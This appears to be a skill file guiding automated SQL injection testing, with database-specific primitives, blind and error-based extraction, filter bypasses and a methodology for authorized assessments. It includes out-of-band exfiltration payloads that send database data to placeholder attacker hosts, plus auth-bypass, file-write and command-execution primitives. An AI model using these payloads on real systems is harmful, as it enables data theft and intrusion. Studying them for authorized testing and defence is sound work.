Zakaria
191 lines
8.3 KiB
Markdown
191 lines
8.3 KiB
Markdown
---
|
|
name: sql-injection
|
|
description: SQL injection testing covering union, blind, error-based, and ORM bypass techniques
|
|
---
|
|
|
|
# SQL Injection
|
|
|
|
SQLi remains one of the most durable and impactful vulnerability classes. Modern exploitation focuses on parser differentials, ORM/query-builder edges, JSON/XML/CTE/JSONB surfaces, out-of-band exfiltration, and subtle blind channels. Treat every string concatenation into SQL as suspect.
|
|
|
|
## Attack Surface
|
|
|
|
**Databases**
|
|
- Classic relational: MySQL/MariaDB, PostgreSQL, MSSQL, Oracle
|
|
- Newer surfaces: JSON/JSONB operators, full-text/search, geospatial, window functions, CTEs, lateral joins
|
|
|
|
**Integration Paths**
|
|
- ORMs, query builders, stored procedures
|
|
- Search servers, reporting/exporters
|
|
|
|
**Input Locations**
|
|
- Path/query/body/header/cookie
|
|
- Mixed encodings (URL, JSON, XML, multipart)
|
|
- Identifier vs value: table/column names (require quoting/escaping) vs literals (quotes/CAST requirements)
|
|
- Query builders: `whereRaw`/`orderByRaw`, string templates in ORMs
|
|
- JSON coercion or array containment operators
|
|
- Batch/bulk endpoints and report generators that embed filters directly
|
|
|
|
## Detection Channels
|
|
|
|
**Error-Based**
|
|
- Provoke type/constraint/parser errors revealing stack/version/paths
|
|
|
|
**Boolean-Based**
|
|
- Pair requests differing only in predicate truth
|
|
- Diff status/body/length/ETag
|
|
|
|
**Time-Based**
|
|
- `SLEEP`/`pg_sleep`/`WAITFOR`
|
|
- Use subselect gating to avoid global latency noise
|
|
|
|
**Out-of-Band (OAST)**
|
|
- DNS/HTTP callbacks via DB-specific primitives
|
|
|
|
## DBMS Primitives
|
|
|
|
### MySQL
|
|
|
|
- Version/user/db: `@@version`, `database()`, `user()`, `current_user()`
|
|
- Error-based: `extractvalue()`/`updatexml()` (older), JSON functions for error shaping
|
|
- File IO: `LOAD_FILE()`, `SELECT ... INTO DUMPFILE/OUTFILE` (requires FILE privilege, secure_file_priv)
|
|
- OOB/DNS: `LOAD_FILE(CONCAT('\\\\',database(),'.attacker.com\\a'))`
|
|
- Time: `SLEEP(n)`, `BENCHMARK`
|
|
- JSON: `JSON_EXTRACT`/`JSON_SEARCH` with crafted paths; GIS funcs sometimes leak
|
|
|
|
### PostgreSQL
|
|
|
|
- Version/user/db: `version()`, `current_user`, `current_database()`
|
|
- Error-based: raise exception via unsupported casts or division by zero; `xpath()` errors in xml2
|
|
- OOB: `COPY (program ...)` or dblink/foreign data wrappers (when enabled); http extensions
|
|
- Time: `pg_sleep(n)`
|
|
- Files: `COPY table TO/FROM '/path'` (requires superuser), `lo_import`/`lo_export`
|
|
- JSON/JSONB: operators `->`, `->>`, `@>`, `?|` with lateral/CTE for blind extraction
|
|
|
|
### MSSQL
|
|
|
|
- Version/db/user: `@@version`, `db_name()`, `system_user`, `user_name()`
|
|
- OOB/DNS: `xp_dirtree`, `xp_fileexist`; HTTP via OLE automation (`sp_OACreate`) if enabled
|
|
- Exec: `xp_cmdshell` (often disabled), `OPENROWSET`/`OPENDATASOURCE`
|
|
- Time: `WAITFOR DELAY '0:0:5'`; heavy functions cause measurable delays
|
|
- Error-based: convert/parse, divide by zero, `FOR XML PATH` leaks
|
|
|
|
### Oracle
|
|
|
|
- Version/db/user: banner from `v$version`, `ora_database_name`, `user`
|
|
- OOB: `UTL_HTTP`/`DBMS_LDAP`/`UTL_INADDR`/`HTTPURITYPE` (permissions dependent)
|
|
- Time: `dbms_lock.sleep(n)`
|
|
- Error-based: `to_number`/`to_date` conversions, `XMLType`
|
|
- File: `UTL_FILE` with directory objects (privileged)
|
|
|
|
## Key Vulnerabilities
|
|
|
|
### UNION-Based Extraction
|
|
|
|
- Determine column count and types via `ORDER BY n` and `UNION SELECT null,...`
|
|
- Align types with `CAST`/`CONVERT`; coerce to text/json for rendering
|
|
- When UNION is filtered, switch to error-based or blind channels
|
|
|
|
### Blind Extraction
|
|
|
|
- Branch on single-bit predicates using `SUBSTRING`/`ASCII`, `LEFT`/`RIGHT`, or JSON/array operators
|
|
- Binary search on character space for fewer requests
|
|
- Encode outputs (hex/base64) to normalize
|
|
- Gate delays inside subqueries to reduce noise: `AND (SELECT CASE WHEN (predicate) THEN pg_sleep(0.5) ELSE 0 END)`
|
|
|
|
### Out-of-Band
|
|
|
|
- Prefer OAST to minimize noise and bypass strict response paths
|
|
- Embed data in DNS labels or HTTP query params
|
|
- MSSQL: `xp_dirtree \\\\<data>.attacker.tld\\a`
|
|
- Oracle: `UTL_HTTP.REQUEST('http://<data>.attacker')`
|
|
- MySQL: `LOAD_FILE` with UNC path
|
|
|
|
### Write Primitives
|
|
|
|
- Auth bypass: inject OR-based tautologies or subselects into login checks
|
|
- Privilege changes: update role/plan/feature flags when UPDATE is injectable
|
|
- File write: `INTO OUTFILE`/`DUMPFILE`, `COPY TO`, `xp_cmdshell` redirection
|
|
- Job/proc abuse: schedule tasks or create procedures/functions when permissions allow
|
|
|
|
### ORM and Query Builders
|
|
|
|
- Dangerous APIs: `whereRaw`/`orderByRaw`, string interpolation into LIKE/IN/ORDER clauses
|
|
- Injections via identifier quoting (table/column names) when user input is interpolated into identifiers
|
|
- JSON containment operators exposed by ORMs (e.g., `@>` in PostgreSQL) with raw fragments
|
|
- Parameter mismatch: partial parameterization where operators or lists remain unbound (`IN (...)`)
|
|
|
|
### Uncommon Contexts
|
|
|
|
- ORDER BY/GROUP BY/HAVING with `CASE WHEN` for boolean channels
|
|
- LIMIT/OFFSET: inject into OFFSET to produce measurable timing or page shape
|
|
- Full-text/search helpers: `MATCH AGAINST`, `to_tsvector`/`to_tsquery` with payload mixing
|
|
- XML/JSON functions: error generation via malformed documents/paths
|
|
|
|
## Bypass Techniques
|
|
|
|
**Whitespace/Spacing**
|
|
- `/**/`, `/**/!00000`, comments, newlines, tabs
|
|
- `0xe3 0x80 0x80` (ideographic space)
|
|
|
|
**Keyword Splitting**
|
|
- `UN/**/ION`, `U%4eION`, backticks/quotes, case folding
|
|
|
|
**Numeric Tricks**
|
|
- Scientific notation, signed/unsigned, hex (`0x61646d696e`)
|
|
|
|
**Encodings**
|
|
- Double URL encoding, mixed Unicode normalizations (NFKC/NFD)
|
|
- `char()`/`CONCAT_ws` to build tokens
|
|
|
|
**Clause Relocation**
|
|
- Subselects, derived tables, CTEs (`WITH`), lateral joins to hide payload shape
|
|
|
|
## Testing Methodology
|
|
|
|
1. **Identify query shape** - SELECT/INSERT/UPDATE/DELETE, presence of WHERE/ORDER/GROUP/LIMIT/OFFSET
|
|
2. **Determine input influence** - User input in identifiers vs values
|
|
3. **Confirm injection class** - Reflective errors, boolean diffs, timing, or out-of-band callbacks
|
|
4. **Choose quietest oracle** - Prefer error-based or boolean over noisy time-based
|
|
5. **Establish extraction channel** - UNION (if visible), error-based, boolean bit extraction, time-based, or OAST/DNS
|
|
6. **Pivot to metadata** - version, current user, database name
|
|
7. **Target high-value tables** - auth bypass, role changes, filesystem access if feasible
|
|
|
|
## Validation
|
|
|
|
1. Show a reliable oracle (error/boolean/time/OAST) and prove control by toggling predicates
|
|
2. Extract verifiable metadata (version, current user, database name) using the established channel
|
|
3. Retrieve or modify a non-trivial target (table rows, role flag) within legal scope
|
|
4. Provide reproducible requests that differ only in the injected fragment
|
|
5. Where applicable, demonstrate defense-in-depth bypass (WAF on, still exploitable via variant)
|
|
|
|
## False Positives
|
|
|
|
- Generic errors unrelated to SQL parsing or constraints
|
|
- Static response sizes due to templating rather than predicate truth
|
|
- Artificial delays from network/CPU unrelated to injected function calls
|
|
- Parameterized queries with no string concatenation, verified by code review
|
|
|
|
## Impact
|
|
|
|
- Direct data exfiltration and privacy/regulatory exposure
|
|
- Authentication and authorization bypass via manipulated predicates
|
|
- Server-side file access or command execution (platform/privilege dependent)
|
|
- Persistent supply-chain impact via modified data, jobs, or procedures
|
|
|
|
## Pro Tips
|
|
|
|
1. Pick the quietest reliable oracle first; avoid noisy long sleeps
|
|
2. Normalize responses (length/ETag/digest) to reduce variance when diffing
|
|
3. Aim for metadata then jump directly to business-critical tables; minimize lateral noise
|
|
4. When UNION fails, switch to error- or blind-based bit extraction; prefer OAST when available
|
|
5. Treat ORMs as thin wrappers: raw fragments often slip through; audit `whereRaw`/`orderByRaw`
|
|
6. Use CTEs/derived tables to smuggle expressions when filters block SELECT directly
|
|
7. Exploit JSON/JSONB operators in Postgres and JSON functions in MySQL for side channels
|
|
8. Keep payloads portable; maintain DBMS-specific dictionaries for functions and types
|
|
9. Validate mitigations with negative tests and code review; parameterize operators/lists correctly
|
|
10. Document exact query shapes; defenses must match how the query is constructed, not assumptions
|
|
|
|
## Summary
|
|
|
|
Modern SQLi succeeds where authorization and query construction drift from assumptions. Bind parameters everywhere, avoid dynamic identifiers, and validate at the exact boundary where user input meets SQL.
|